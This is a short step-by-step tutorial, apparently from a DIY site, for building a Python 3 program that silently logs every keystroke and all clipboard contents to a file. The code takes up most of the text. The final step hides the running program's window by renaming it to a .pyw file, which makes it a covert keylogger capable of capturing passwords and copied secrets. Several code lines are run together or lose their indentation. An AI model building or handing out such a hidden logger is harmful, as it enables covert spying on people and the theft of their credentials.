KeyClip: a Keylogger & Clipboard Logger With Python3 in 3 Minutes

Introduction: KeyClip: a Keylogger & Clipboard Logger With Python3 in 3 Minutes

This instructable will teach you how to make a simple key/clipboard logger in python 3.

The clipboard text will be preceded by 'Clip: '.

The keys will be preceded by 'Key: '.

Step 1: Import Necessary Packages

You will need to install pynput and pyperclip before you can import them.

We will use the keyboard module from pynput to listen to keystrokes, and the paste function from pyperclip to read the clipboard.

from pynput.keyboard import Listener
from pyperclip import paste import logging from time import sleep import threading

The logging module will make the log files.

Threading is used to run the keylogger and the clipboard logger as two individual threads.

Step 2: Configuring the Logger

logging.basicConfig(filename='KeyClip.log',

                    level=logging.INFO,

		    format='%(asctime)s: %(message)s')

If you want to store the log files in another directory, add it in front of the 'KeyClip.log' in the file name.

e.g:

filename = "c://Users//tom//Desktop//logs" + "KeyClip.log"

Step 3: The KeyLogger

def onPress(key):
logging.info('Key: ' + str(key))
def keyLogger():
    with Listener(on_press=onPress) as l:
        l.join()

Step 4: The Clipboard Logger

def clipLogger():
    prevClip = ''
    while True:
        clip = paste()
        if prevClip != clip:
            logging.info('Clip:  '+ clip)
            prevClip = clip
        sleep(0.2)

*The sleep function is used to limit the frequency of the while loop.

Step 5: Threading

keyThread = threading.Thread(target=keyLogger)
clipThread = threading.Thread(target=clipLogger)

keyThread.start()
clipThread.start()

Step 6: Removing the Terminal

Change the python file's extension to .pyw instead of .py to remove the terminal that pops up every time you run it. To close the logger, you will need to use the task manager tho.

Be the First to Share

    Recommendations

    • Summer Fun: Student Design Challenge

      Summer Fun: Student Design Challenge
    • Pets Challenge

      Pets Challenge
    • DIY Summer Camp Contest

      DIY Summer Camp Contest

    Comments